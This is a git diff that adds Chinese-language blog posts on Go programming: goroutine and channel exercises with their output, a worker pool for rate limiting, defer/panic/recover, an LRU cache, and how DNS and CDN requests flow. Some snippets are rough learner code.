ordlerId := range canBringedrlders { + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + + wg.Done() + } + select { + case <-done: + fmt.Println("case done return") + return + + } + +} +func DealOrlder(orlderId int, wg *sync.WaitGroup, done chan bool) { + wg.Add(3) + + canCookedOrlders := make(chan int) + canBringedrlders := make(chan int) + go takeOrlder(orlderId, wg, canCookedOrlders, done) + go cookOrlder(wg, canCookedOrlders, canBringedrlders, done) + go bringOrlder(wg, canBringedrlders, done) + +} +func main() { + start := time.Now() + + var wg sync.WaitGroup + done := make(chan bool) + for orlderId := 0; orlderId < 8; orlderId++ { + DealOrlder(orlderId, &wg, done) + } + + wg.Wait() + fmt.Println("wg wait over") + done <- true + stop := time.Now() + fmt.Printf("Time waste %v \n", stop.Sub(start)) +} + +// results are +Waiter 3 has taken orlder number 0 +Chef 3 has brought dishes for orlder number 0 +Waiter 3 has brought dishes for orlder number 0 +Waiter 2 has taken orlder number 1 +Waiter 1 has taken orlder number 4 +Chef 2 has brought dishes for orlder number 4 +Waiter 3 has taken orlder number 2 +Chef 1 has brought dishes for orlder number 1 +Waiter 2 has brought dishes for orlder number 4 +Waiter 1 has taken orlder number 5 +Chef 2 has brought dishes for orlder number 2 +Waiter 3 has brought dishes for orlder number 1 +Chef 1 has brought dishes for orlder number 5 +Waiter 2 has brought dishes for orlder number 5 +Waiter 3 has taken orlder number 7 +Waiter 3 has taken orlder number 6 +Chef 3 has brought dishes for orlder number 6 +Waiter 3 has brought dishes for orlder number 6 +Chef 3 has brought dishes for orlder number 7 +Waiter 3 has brought dishes for orlder number 7 +Waiter 1 has brought dishes for orlder number 2 +Waiter 1 has taken orlder number 3 +Chef 3 has brought dishes for orlder number 3 +Waiter 2 has brought dishes for orlder number 3 +wg wait over +Time waste 236.574µs + +``` + +``` +// solution2 + +package main + +import ( + "fmt" + "math/rand" + "sync" + "time" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int, wg *sync.WaitGroup, canTakedOrlders chan int) { + + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) + canTakedOrlders <- ordlerId + wg.Done() + +} + +func cookOrlder(wg *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int) { + + for ordlerId := range canCookedOrlders { + + chef := getChef() + fmt.Printf("%s has brought dishes for orlder number %v\n", chef, ordlerId) + canBringedrlders <- ordlerId + wg.Done() + } + +} +func bringOrlder(wg *sync.WaitGroup, canBringedrlders chan int) { + + for ordlerId := range canBringedrlders { + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + + wg.Done() + } + +} +func DealOrlder(orlderId int, wg *sync.WaitGroup) { + wg.Add(3) + + canCookedOrlders := make(chan int) + canBringedrlders := make(chan int) + go takeOrlder(orlderId, wg, canCookedOrlders) + go cookOrlder(wg, canCookedOrlders, canBringedrlders) + go bringOrlder(wg, canBringedrlders) + +} +func main() { + start := time.Now() + + var wg sync.WaitGroup + + for orlderId := 0; orlderId < 8; orlderId++ { + DealOrlder(orlderId, &wg) + } + + wg.Wait() + fmt.Println("wg wait over") + + stop := time.Now() + fmt.Printf("Time waste %v \n", stop.Sub(start)) +} + +//results are +Waiter 3 has taken orlder number 2 +Chef 1 has brought dishes for orlder number 2 +Waiter 3 has brought dishes for orlder number 2 +Waiter 2 has taken orlder number 3 +Chef 1 has brought dishes for orlder number 3 +Waiter 2 has brought dishes for orlder number 3 +Waiter 3 has taken orlder number 4 +Chef 2 has brought dishes for orlder number 4 +Waiter 1 has taken orlder number 6 +Chef 2 has brought dishes for orlder number 6 +Waiter 3 has brought dishes for orlder number 6 +Waiter 1 has taken orlder number 0 +Waiter 2 has brought dishes for orlder number 4 +Waiter 3 has taken orlder number 5 +Chef 1 has brought dishes for orlder number 5 +Waiter 3 has taken orlder number 1 +Waiter 3 has taken orlder number 7 +Waiter 3 has brought dishes for orlder number 5 +Chef 3 has brought dishes for orlder number 0 +Waiter 1 has brought dishes for orlder number 0 +Chef 3 has brought dishes for orlder number 1 +Waiter 3 has brought dishes for orlder number 1 +Chef 3 has brought dishes for orlder number 7 +Waiter 2 has brought dishes for orlder number 7 +wg wait over +Time waste 223.942µs + +``` + +``` +// solution3 +package main + +import ( + "fmt" + "math/rand" + "sync" + "time" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int, wg *sync.WaitGroup, canTakedOrlders chan int) { + + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) + canTakedOrlders <- ordlerId + wg.Done() + +} + +func cookOrlder(wg *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int) { + + for ordlerId := range canCookedOrlders { + + chef := getChef() + fmt.Printf("%s is cooked dishes for orlder number %v\n", chef, ordlerId) + canBringedrlders <- ordlerId + wg.Done() + } + +} +func bringOrlder(wg *sync.WaitGroup, canBringedrlders chan int) { + + for ordlerId := range canBringedrlders { + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + + wg.Done() + } + +} +func DealOrlder(orlderId int, wg *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int) { + wg.Add(3) + + go takeOrlder(orlderId, wg, canCookedOrlders) + go cookOrlder(wg, canCookedOrlders, canBringedrlders) + go bringOrlder(wg, canBringedrlders) + +} +func main() { + start := time.Now() + + var wg sync.WaitGroup + canCookedOrlders := make(chan int) + canBringedrlders := make(chan int) + for orlderId := 0; orlderId < 8; orlderId++ { + DealOrlder(orlderId, &wg, canCookedOrlders, canBringedrlders) + } + + wg.Wait() + fmt.Println("wg wait over") + + stop := time.Now() + fmt.Printf("Time waste %v \n", stop.Sub(start)) +} + +// results are +Waiter 1 has taken orlder number 1 +Chef 3 is cooked dishes for orlder number 1 +Waiter 2 has taken orlder number 3 +Chef 3 is cooked dishes for orlder number 3 +Waiter 2 has brought dishes for orlder number 3 +Waiter 2 has taken orlder number 5 +Waiter 1 has taken orlder number 6 +Waiter 2 has taken orlder number 7 +Chef 1 is cooked dishes for orlder number 6 +Chef 3 is cooked dishes for orlder number 5 +Waiter 1 has brought dishes for orlder number 5 +Chef 3 is cooked dishes for orlder number 7 +Waiter 3 has brought dishes for orlder number 7 +Waiter 3 has brought dishes for orlder number 6 +Waiter 2 has taken orlder number 4 +Chef 3 is cooked dishes for orlder number 4 +Waiter 3 has brought dishes for orlder number 4 +Waiter 3 has taken orlder number 0 +Chef 3 is cooked dishes for orlder number 0 +Waiter 1 has brought dishes for orlder number 0 +Waiter 1 has brought dishes for orlder number 1 +Waiter 3 has taken orlder number 2 +Chef 3 is cooked dishes for orlder number 2 +Waiter 2 has brought dishes for orlder number 2 +wg wait over +Time waste 187.335µs +``` + +``` +// solution4 +package main + +import ( + "fmt" + "math/rand" + "sync" + "time" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int, wg *sync.WaitGroup, canTakedOrlders chan int) { + + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) + canTakedOrlders <- ordlerId + wg.Done() + +} + +func cookOrlder(wg *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int) { + + for ordlerId := range canCookedOrlders { + + chef := getChef() + fmt.Printf("%s is cooked dishes for orlder number %v\n", chef, ordlerId) + canBringedrlders <- ordlerId + wg.Done() + } + +} +func bringOrlder(wg *sync.WaitGroup, canBringedrlders chan int) { + + for ordlerId := range canBringedrlders { + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + + wg.Done() + } + +} +func DealOrlder(orlderId int, wg *sync.WaitGroup, wg2 *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int) { + wg.Add(3) + go takeOrlder(orlderId, wg, canCookedOrlders) + go cookOrlder(wg, canCookedOrlders, canBringedrlders) + go bringOrlder(wg, canBringedrlders) + wg2.Done() + +} +func main() { + start := time.Now() + + var wg sync.WaitGroup + var wg2 sync.WaitGroup + canCookedOrlders := make(chan int) + canBringedrlders := make(chan int) + for orlderId := 0; orlderId < 8; orlderId++ { + wg2.Add(1) + DealOrlder(orlderId, &wg, &wg2, canCookedOrlders, canBringedrlders) + } + + wg.Wait() + wg2.Wait() + fmt.Println("wg wait over") + + stop := time.Now() + fmt.Printf("Time waste %v \n", stop.Sub(start)) +} +//results are +Waiter 3 has taken orlder number 0 +Waiter 2 has taken orlder number 6 +Chef 2 is cooked dishes for orlder number 6 +Waiter 3 has taken orlder number 4 +Waiter 3 has taken orlder number 2 +Chef 2 is cooked dishes for orlder number 2 +Waiter 1 has brought dishes for orlder number 2 +Waiter 1 has taken orlder number 1 +Chef 2 is cooked dishes for orlder number 1 +Chef 3 is cooked dishes for orlder number 4 +Waiter 3 has taken orlder number 3 +Chef 1 is cooked dishes for orlder number 0 +Waiter 1 has brought dishes for orlder number 4 +Waiter 3 has taken orlder number 5 +Chef 3 is cooked dishes for orlder number 5 +Waiter 3 has brought dishes for orlder number 5 +Waiter 3 has brought dishes for orlder number 1 +Waiter 3 has brought dishes for orlder number 0 +Waiter 1 has taken orlder number 7 +Chef 1 is cooked dishes for orlder number 7 +Waiter 3 has brought dishes for orlder number 7 +Waiter 2 has brought dishes for orlder number 6 +Chef 3 is cooked dishes for orlder number 3 +Waiter 2 has brought dishes for orlder number 3 +wg wait over +Time waste 187.19µs +``` + +``` +package main + +import ( + "fmt" + "math/rand" + "sync" + "time" +) + +func getWaiter() string { + waiters := []string{ + "Waiter 1", + "Waiter 2", + "Waiter 3", + } + idx := rand.Intn(len(waiters)) + return waiters[idx] + +} + +func getChef() string { + chefs := []string{ + "Chef 1", + "Chef 2", + "Chef 3", + } + inx := rand.Intn(len(chefs)) + return chefs[inx] + +} +func takeOrlder(ordlerId int, wg *sync.WaitGroup, canTakedOrlders chan int) { + + waiter := getWaiter() + fmt.Printf("%s has taken orlder number %v\n", waiter, ordlerId) + canTakedOrlders <- ordlerId + wg.Done() + +} + +func cookOrlder(wg *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int) { + + for ordlerId := range canCookedOrlders { + + chef := getChef() + fmt.Printf("%s is cooked dishes for orlder number %v\n", chef, ordlerId) + canBringedrlders <- ordlerId + wg.Done() + } + +} +func bringOrlder(wg *sync.WaitGroup, canBringedrlders chan int) { + + for ordlerId := range canBringedrlders { + waiter := getWaiter() + fmt.Printf("%s has brought dishes for orlder number %v\n", waiter, ordlerId) + + wg.Done() + } + +} +func DealOrlder(orlderId int, wg *sync.WaitGroup, wg2 *sync.WaitGroup, canCookedOrlders chan int, canBringedrlders chan int) { + wg.Add(3) + go takeOrlder(orlderId, wg, canCookedOrlders) + go cookOrlder(wg, canCookedOrlders, canBringedrlders) + go bringOrlder(wg, canBringedrlders) + wg.Wait() + wg2.Done() + +} +func main() { + start := time.Now() + + var wg sync.WaitGroup + var wg2 sync.WaitGroup + canCookedOrlders := make(chan int) + canBringedrlders := make(chan int) + for orlderId := 0; orlderId < 8; orlderId++ { + wg2.Add(1) + go DealOrlder(orlderId, &wg, &wg2, canCookedOrlders, canBringedrlders) + } + + wg2.Wait() + fmt.Println("wg wait over") + + stop := time.Now() + fmt.Printf("Time waste %v \n", stop.Sub(start)) +} + +//Results are ... +Waiter 3 has taken orlder number 7 +Chef 1 is cooked dishes for orlder number 7 +Waiter 3 has brought dishes for orlder number 7 +Waiter 3 has taken orlder number 0 +Chef 2 is cooked dishes for orlder number 0 +Waiter 1 has brought dishes for orlder number 0 +Waiter 2 has taken orlder number 5 +Chef 3 is cooked dishes for orlder number 5 +Waiter 2 has brought dishes for orlder number 5 +Waiter 1 has taken orlder number 6 +Chef 2 is cooked dishes for orlder number 6 +Waiter 1 has brought dishes for orlder number 6 +Waiter 3 has taken orlder number 2 +Chef 2 is cooked dishes for orlder number 2 +Waiter 3 has brought dishes for orlder number 2 +Waiter 1 has taken orlder number 1 +Chef 3 is cooked dishes for orlder number 1 +Waiter 3 has brought dishes for orlder number 1 +Waiter 3 has taken orlder number 3 +Chef 3 is cooked dishes for orlder number 3 +Waiter 1 has brought dishes for orlder number 3 +Waiter 3 has taken orlder number 4 +Chef 3 is cooked dishes for orlder number 4 +Waiter 2 has brought dishes for orlder number 4 +wg wait over +Time waste 272.353µs +``` + +## Example 2 + +##### Qustion --Rate limit + +每当调用 Web 服务的某个特定 API 时,它都会在内部对某个外部服务进行多个并发调用。衍生出多个 goroutine 来服务这个请求。外部服务可以是任何东西(可能是 AWS 服务)。如果您的服务在很短的时间内(在 API 的单次调用中)向外部服务发送了太多请求,则外部服务可能会限制(速率限制)的服务! + +注意:我们在这里使用并发是因为我们希望尽可能降低 API 的延迟。如果没有并发,我们将不得不迭代地调用外部服务。 + +##### solution-- prevent this throttling + +假设我们的服务当前对我们的 API 的每个请求都对外部服务进行**N次调用。**我们将在这里进行批处理。我们将使用一个 goroutine 池或 M 个 goroutine 的工作池**(** M **<** N **,** M **=** N **/** X **)**,而不是分离**N个 goroutine。**现在在任何特定时刻,我们最多向外部服务发送**M**个请求而不是**N**。 + +工作池将监听作业频道。并发工作人员将从通道(队列)的前端获取工作(调用外部服务)以执行。一旦工作人员完成工作,它会将结果发送到结果通道(队列)。一旦完成所有工作,我们将计算并将最终结果发送回 API 的调用者。 + +``` +package main + +import ( + "fmt" + "time" +) + +func Worker(workerIndex int, jobs chan int, result chan int) { + + for jobIndex := range jobs { + fmt.Println("Worker", workerIndex, " has started job", jobIndex) + fmt.Println("Worker is doing job....") + time.Sleep(1 * time.Second) + fmt.Println("Worker", workerIndex, " has finished job", jobIndex) + result <- jobIndex * 2 + } + +} +func API(numJobs int) int { + jobs := make(chan int, numJobs) + defer close(jobs) + + result := make(chan int, numJobs) + defer close(result) + workNums := 10 + //处理工作 + for workIndex := 0; workIndex < workNums; workIndex++ { + go Worker(workIndex, jobs, result) + } + //工作进入 + for jobIdx := 0; jobIdx < numJobs; jobIdx++ { + jobs <- jobIdx + } + //读取结果 + sum := 0 + for jobIdx := 0; jobIdx < numJobs; jobIdx++ { + select { + case temp := <-result: + fmt.Println(temp, "is pushed in result channel ") + sum = sum + temp + + } + + } + + return sum +} +func main() { + fmt.Println("API excute result is ", API(5)) + fmt.Println("API excute result is ", API(10)) + fmt.Println("API excute result is ", API(15)) + +} + +//result +Worker 9 has started job 0 +Worker is doing job.... +Worker 0 has started job 1 +Worker is doing job.... +Worker 1 has started job 2 +Worker is doing job.... +Worker 6 has started job 3 +Worker is doing job.... +Worker 5 has started job 4 +Worker is doing job.... +Worker 5 has finished job 4 +8 is pushed in result channel +Worker 0 has finished job 1 +2 is pushed in result channel +Worker 9 has finished job 0 +0 is pushed in result channel +Worker 1 has finished job 2 +4 is pushed in result channel +Worker 6 has finished job 3 +6 is pushed in result channel +API excute result is 20 +Worker 9 has started job 0 +Worker is doing job.... +Worker 6 has started job 2 +Worker is doing job.... +Worker 7 has started job 3 +Worker 8 has started job 5 +Worker 4 has started job 1 +Worker 0 has started job 6 +Worker is doing job.... +Worker is doing job.... +Worker is doing job.... +Worker 5 has started job 4 +Worker 2 has started job 7 +Worker is doing job.... +Worker is doing job.... +Worker 1 has started job 9 +Worker is doing job.... +Worker 3 has started job 8 +Worker is doing job.... +Worker is doing job.... +Worker 4 has finished job 1 +2 is pushed in result channel +Worker 2 has finished job 7 +Worker 0 has finished job 6 +Worker 1 has finished job 9 +Worker 8 has finished job 5 +Worker 7 has finished job 3 +Worker 9 has finished job 0 +Worker 3 has finished job 8 +14 is pushed in result channel +12 is pushed in result channel +18 is pushed in result channel +10 is pushed in result channel +6 is pushed in result channel +0 is pushed in result channel +16 is pushed in result channel +Worker 6 has finished job 2 +4 is pushed in result channel +Worker 5 has finished job 4 +8 is pushed in result channel +API excute result is 90 +Worker 7 has started job 7 +Worker is doing job.... +Worker 8 has started job 8 +Worker is doing job.... +Worker 2 has started job 3 +Worker is doing job.... +Worker 1 has started job 2 +Worker is doing job.... +Worker 6 has started job 6 +Worker is doing job.... +Worker 5 has started job 4 +Worker is doing job.... +Worker 0 has started job 0 +Worker is doing job.... +Worker 4 has started job 5 +Worker is doing job.... +Worker 3 has started job 1 +Worker is doing job.... +Worker 9 has started job 9 +Worker is doing job.... +Worker 7 has finished job 7 +Worker 4 has finished job 5 +Worker 3 has finished job 1 +Worker 3 has started job 12 +Worker is doing job.... +Worker 5 has finished job 4 +Worker 5 has started job 13 +Worker is doing job.... +Worker 1 has finished job 2 +Worker 1 has started job 14 +Worker is doing job.... +Worker 0 has finished job 0 +Worker 2 has finished job 3 +Worker 7 has started job 10 +Worker is doing job.... +Worker 4 has started job 11 +Worker 9 has finished job 9 +14 is pushed in result channel +10 is pushed in result channel +2 is pushed in result channel +8 is pushed in result channel +4 is pushed in result channel +0 is pushed in result channel +6 is pushed in result channel +Worker is doing job.... +Worker 8 has finished job 8 +18 is pushed in result channel +16 is pushed in result channel +Worker 6 has finished job 6 +12 is pushed in result channel +Worker 5 has finished job 13 +26 is pushed in result channel +Worker 3 has finished job 12 +24 is pushed in result channel +Worker 4 has finished job 11 +22 is pushed in result channel +Worker 7 has finished job 10 +20 is pushed in result channel +Worker 1 has finished job 14 +28 is pushed in result channel +API excute result is 210 +``` + + + +假设我们的服务当前对我们的 API 的每个请求都对外部服务进行**N次调用。**我们将在这里进行批处理。我们将使用一个 goroutine 池或 M 个 goroutine 的工作池**(** M **<** N **,** M **=** N **/** X **)**,而不是分离**N个 goroutine。**现在在任何特定时刻,我们最多向外部服务发送**M**个请求而不是**N**。 + +工作池将监听作业频道。并发工作人员将从通道(队列)的前端获取工作(调用外部服务)以执行。一旦工作人员完成工作,它会将结果发送到结果通道(队列)。一旦完成所有工作,我们将计算并将最终结果发送回 API 的调用者。 diff --git a/_posts/2022-04-17-test-markdown.md b/_posts/2022-04-17-test-markdown.md new file mode 100644 index 000000000000..f5424e0acf4a --- /dev/null +++ b/_posts/2022-04-17-test-markdown.md @@ -0,0 +1,270 @@ +--- +layout: post +title: Go的推迟、恐慌和恢复 +subtitle: 一个defer语句推动一个函数调用到列表中。保存的调用列表在周围函数返回后执行。 +tags: [golang] +--- +## go的推迟、恐慌和恢复 + +> 一个**defer语句**推动一个函数调用到列表中。**保存的调用列表在周围函数返回后执行。** + +### **使用场景:Defer语句通常用于~~简化~~执行各种清理操作的函数** + +举个例子: + +``` +func CopyFile(dstName, srcName string) (written int64, err error) { + src, err := os.Open(srcName) + if err != nil { + return + } + + dst, err := os.Create(dstName) + if err != nil { + return + } + + written, err = io.Copy(dst, src) + dst.Close() + src.Close() + return +} +//这有效,但有一个错误。如果对 os.Create 的调用失败,该函数将返回而不关闭源文件,但是可以通过在第二个return语句之前调用src.Close 来解决,但是如果函数更加的复杂,那么这个问题将不会轻易的被注意到,更加优雅的做法是,打开文件之后,我们在第一个return语句之后,(因为一旦返回,证明打开失败,就不需要关闭文件了)执行defer src.Close()来延迟关闭文件,它将会在第二个os.Create()语句失败之后,第二个语句return 语句返回之后执行关闭。 +//这也验证了那句话:一个defer语句推动一个函数调用的列表,保存的函数调用的列表,会在(周围)函数返回之后执行!!!这个周围二字要慢慢体会,很精辟!! + +func CopyFile(dstName, srcName string) (written int64, err error) { + src, err := os.Open(srcName) + if err != nil { + return + } + defer src.Close() + + dst, err := os.Create(dstName) + if err != nil { + return + } + defer dst.Close() + + return io.Copy(dst, src) +} + + +Defer 语句允许我们在打开每个文件后立即考虑关闭它,保证无论函数中有多少个 return 语句,文件都将被关闭。 +``` + +### **defer 语句的行为是直接且可预测的。有三个简单的规则:** + +#### 1.*在计算 defer 语句时计算延迟函数的参数。* + +``` +func a() { + i := 0 + defer fmt.Println(i) + i++ + return +} +``` + + + +#### 2.*延迟的函数调用在周围函数返回后以后进先出的顺序执行*。 + +``` +func b() { + for i := 0; i < 4; i++ { + defer fmt.Print(i) + } +} +此函数打印“3210”: +``` + + + +#### 3.*延迟函数可以读取并分配给返回函数的命名返回值。* + +``` +func c() (i int) { + defer func() { i++ }() + return 1 +} +//在此示例中,延迟函数 在周围函数返回后增加返回值 i 。因此,此函数返回 2 +``` + +**这样方便修改函数的错误返回值;我们很快就会看到一个例子。** + + + +### **Panic**是一个内置函数,它停止普通的控制流并开始*恐慌* + +> 也就是说:当一个函数F内部调用panic时,这个函数F的执行将停止,但是F中任何的延迟执行的函数将正常执行,然后F返回给它的调用者。对于调用者而言,F的行为就像是调用panic.这个过程继续向上堆栈,直到当前的`goroutine`中所有的函数返回。此时程序崩溃。恐慌可以通过直接调用恐慌来启动。他们可能是由运行时的错误引起:例如数组访问越界。 + + + +### **Recover**是一个内置函数,可以重新控制恐慌的 `goroutine` + +> 值得注意的是:Recover只在延迟调用的函数中有用,这个是为什么呢? +> +> 因为对于正常执行期间,调用recovery函数只会返回一个nil并且没有其他影响。但是如果当前的`goroutine `处于恐慌时,调用`recovery`,`recovery `将捕获给予`goroutine `恐慌的值,并且恢复正常执行。 +> +> 以下是一个演示恐慌和延迟机制的例子: + +``` +package main + +import "fmt" + +func main() { + f() + fmt.Println("Returned normally from f.") +} + +func f() { + defer func() { + if r := recover(); r != nil { + //r := recover()就是捕获引起恐慌的值,在根据这个值的空与否来进行进一步的操作。 + fmt.Println("Recovered in f", r) + } + }() + fmt.Println("Calling g.") + g(0) + fmt.Println("Returned normally from g.") +} + + + +func g(i int) { + if i > 3 { + fmt.Println("Panicking!") + panic(fmt.Sprintf("%v", i)) + } + defer fmt.Println("Defer in g", i) + fmt.Println("Printing in g", i) + g(i + 1) +} + + + +猜测输出: +Calling g. +Printing in g", 0 +Printing in g", 1 +Printing in g", 2 +Printing in g", 3 +Panicking! +Returned normally from g. +Defer in g", 3 +Defer in g", 2 +Defer in g", 1 +Defer in g", 0 +Returned normally from f +Recovered in f 4 + +//判断错误是因为:延迟执行的打印语句 +defer func() { + if r := recover(); r != nil { + //r := recover()就是捕获引起恐慌的值,在根据这个值的空与否来进行进一步的操作。 + fmt.Println("Recovered in f", r) + } + }() + 个人认为这些语句是在f 里面,所以要在main函数返回后执行所以要在Returned normally from f.这个语句之后,目前还未得到解决。 + + + + + +实际输出: + +Calling g. +Printing in g 0 +Printing in g 1 +Printing in g 2 +Printing in g 3 +Panicking! +Defer in g 3 +Defer in g 2 +Defer in g 1 +Defer in g 0 +Recovered in f 4 +Returned normally from f. + +如果我们从 f 中删除延迟函数,恐慌不会恢复并到达 goroutine 调用堆栈的顶部,终止程序。这个修改后的程序为: +package main + +import "fmt" + +func main() { + f() + fmt.Println("Returned normally from f.") +} + +func f() { + + fmt.Println("Calling g.") + g(0) + fmt.Println("Returned normally from g.") +} + + + +func g(i int) { + if i > 3 { + fmt.Println("Panicking!") + panic(fmt.Sprintf("%v", i)) + } + defer fmt.Println("Defer in g", i) + fmt.Println("Printing in g", i) + g(i + 1) +} + + + +这个修改后的程序将输出: + +Calling g. +Printing in g 0 +Printing in g 1 +Printing in g 2 +Printing in g 3 +Panicking! +Defer in g 3 +Defer in g 2 +Defer in g 1 +Defer in g 0 +panic: 4 +panic PC=0x2a9cd8 +[stack trace omitted] + +与我们捕获恐慌数据不同的是:我们看到,当我们不调用recover来捕获引起的数据时 ,程序就会奔溃,不会继续往下执行,并且会抛出引起恐慌的数据,和错误提示,让主函数停下来。 +``` + + + +有关**panic**和**recovery**的真实示例,请参阅Go 标准库中的[json 包](https://golang.org/pkg/encoding/json/)。它使用一组递归函数对接口进行编码。如果在遍历值时发生错误,则调用 panic 将堆栈展开到顶级函数调用,该函数调用从 panic 中恢复并返回适当的错误值(参见 encodeState 类型的 'error' 和 'marshal' 方法在[encode.go 中](https://golang.org/src/pkg/encoding/json/encode.go))。 + +Go 库中的约定是,即使包在内部使用 panic,其外部 API 仍会显示明确的错误返回值。 + +### *defer 的其他用途*——释放互斥锁 + +``` +mu.Lock() +defer mu.Unlock() + +//个人觉得在并发编程那一章这个defer关键字释放互斥锁的功能还是很强大的!!! + +``` + +### *defer 的其他用途*——打印页脚 + +``` +printHeader() +defer printFooter() +``` + + + + + +### 吐血总结: + +> defer 语句为控制流提供了一种不寻常而且强大的机制。 + diff --git a/_posts/2022-04-18-test-markdown.md b/_posts/2022-04-18-test-markdown.md new file mode 100644 index 000000000000..6645677191a6 --- /dev/null +++ b/_posts/2022-04-18-test-markdown.md @@ -0,0 +1,128 @@ +--- +layout: post +title: LRU 实现(层层剖析) +subtitle: 采用 hashmap+ 双向链表 +tags: [LRU] +--- + +# LRU 实现(层层剖析) + +> **我们需要频繁的去调整首尾元素的位置。而双向链表的结构,刚好满足这一点** + +### 采用 hashmap+ 双向链表 + +首先,我们定义一个 `LinkNode` ,用以存储元素。因为是双向链表,自然我们要定义 `pre` 和 `next`。同时,我们需要存储下元素的 `key` 和 `value` 。`val` 大家应该都能理解,关键是为什么需要存储 `key`?举个例子,比如当整个cache 的元素满了,此时我们需要删除 map 中的数据,需要通过 `LinkNode` 中的`key` 来进行查询,否则无法获取到 `key`。 + +```go +type LinkNode struct { + key, val + pre, next *LinkNode +} +``` + +现在有了 LinkNode ,自然需要一个 Cache 来存储所有的 Node。我们定义 cap 为 cache 的长度,m用来存储元素。head 和 tail 作为 Cache 的首尾。 + +``` +type LRUCache struct { + m map[int]*LinkNode + cap int + head, tail *LinkNode +} +``` + +接下来我们对整个 Cache 进行初始化。在初始化 head 和 tail 的时候将它们连接在一起。 + +``` + func Constructor(capacity int) LRUCache { + head := &LinkNode{0, 0, nil, nil} + tail := &LinkNode{0, 0, nil, nil} + head.next = tail + tail.pre = head + return LRUCache{make(map[int]*LinkNode), capacity, head, tail} + +} +``` + + + +现在我们已经完成了 Cache 的构造,剩下的就是添加它的 API 了。因为 Get 比较简单,我们先完成Get 方法。这里分两种情况考虑,如果没有找到元素,我们返回 -1。如果元素存在,我们需要把这个元素移动到首位置上去。 + +``` +func (this *LRUCache) Get(key int) int { + head := this.head + cache := this.m + if v, exist := cache[key]; exist { + v.pre.next = v.next + v.next.pre = v.pre + v.next = head.next + head.next.pre = v + v.pre = head + head.next = v + return v.val + } else { + return -1 + } +} + +``` + +大概就是下面这个样子(假若 2 是我们 get 的元素) + +我们很容易想到这个方法后面还会用到,所以将其抽出。 +1 + +``` +func (this *LRUCache) AddNode(node *LinkNode) { + head := this.head + //从当前位置删除 + node.pre.next = node.next + node.next.pre = node.pre + //移动到首位置 + node.next = head.next + head.next.pre = node + node.pre = head + head.next = node +} + +func (this *LRUCache) Get(key int) int { + cache := this.m + if v, exist := cache[key]; exist { + this.MoveToHead(v) + return v.val + } else { + return -1 + } +} +``` + + + +``` +func (this *LRUCache) Put(key int, value int) { + head := this.head + tail := this.tail + cache := this.m + //假若元素存在 + if v, exist := cache[key]; exist { + //1.更新值 + v.val = value + //2.移动到最前 + this.MoveToHead(v) + } else { + //TODO + v := &LinkNode{key, value, nil, nil} + v.next = head.next + if len(cache) == this.cap { + //删除最后元素 + delete(cache, tail.pre.key) + tail.pre.pre.next = tail + tail.pre = tail.pre.pre + } + v.pre = head + head.next.pre = v + head.next = v + cache[key] = v + } +} +``` + diff --git a/_posts/2022-04-20-test-markdown.md b/_posts/2022-04-20-test-markdown.md new file mode 100644 index 000000000000..82f79954d40d --- /dev/null +++ b/_posts/2022-04-20-test-markdown.md @@ -0,0 +1,264 @@ +--- +layout: post +title: 传统网站的请求响应过程 +subtitle: 引入CDN之后 用户访问经历 +tags: [网络] +--- +## 传统网站的请求响应过程 + +1.输入网站的域名 + +2.浏览器向本地的DNS服务器发出解析域名的请求 + +3.本地的DNS服务器如果有该域名的解析结果,直接返回给浏览器该结果 + +4.如果本地的服务器没有对于该域名的解析结果的缓存,就会迭代的向整个DNS服务器发出请求解析该域名。总会有一个DNS服务器解析该域名,然后获得该域名对应的解析结果,获得相应的解析结果后就会把解析结果发送到对应的浏览器。 + +5.浏览器获得的解析结果,就是该域名对应的服务设备的IP地址 + +6.浏览器获得IP地址后才能进行标准的TCP握手连接,建立TCP连接 + +7.建立TCP连接之后,浏览器发出HTTP请求 + +8.那个对应的IP设备(服务器)相应浏览器的请求,就是把浏览器想要的内容发送给浏览器 + +9.再经过标准的TCP挥手流程,断开TCP连接 + + + +## 引入CDN之后 用户访问经历 + +1. 还是先经过本地DNS服务器进行解析,如果本地的DNS服务器没有相应的域名缓存,那么就会把继续解析的权限给CNAME指CDN专用的DNS服务器。 +2. CDN的DNS服务器将**全局负载均衡的设备**的IP地址返回给浏览器 +3. 浏览器向这个全局负载均衡的设备发出URL访问请求。 +4. 全局负载均衡的设备根据用户IP地址以及用户的请求,把用户的请求转发到 **用户所属的区域内的负载均衡的设备** + +**也就是说*全局负载设备*会选择 距离用户较近的 *区域负载均衡设备*** + +> 区域负载均衡设备,选择一个最优的缓存服务器的节点,然后把缓存服务器节点得到的缓存服务器的IP地址返回给全局负载均衡设备。这个全局负载均衡设备把从(缓存服务器节点得到的缓存服务器的IP地址)返回给用户 + 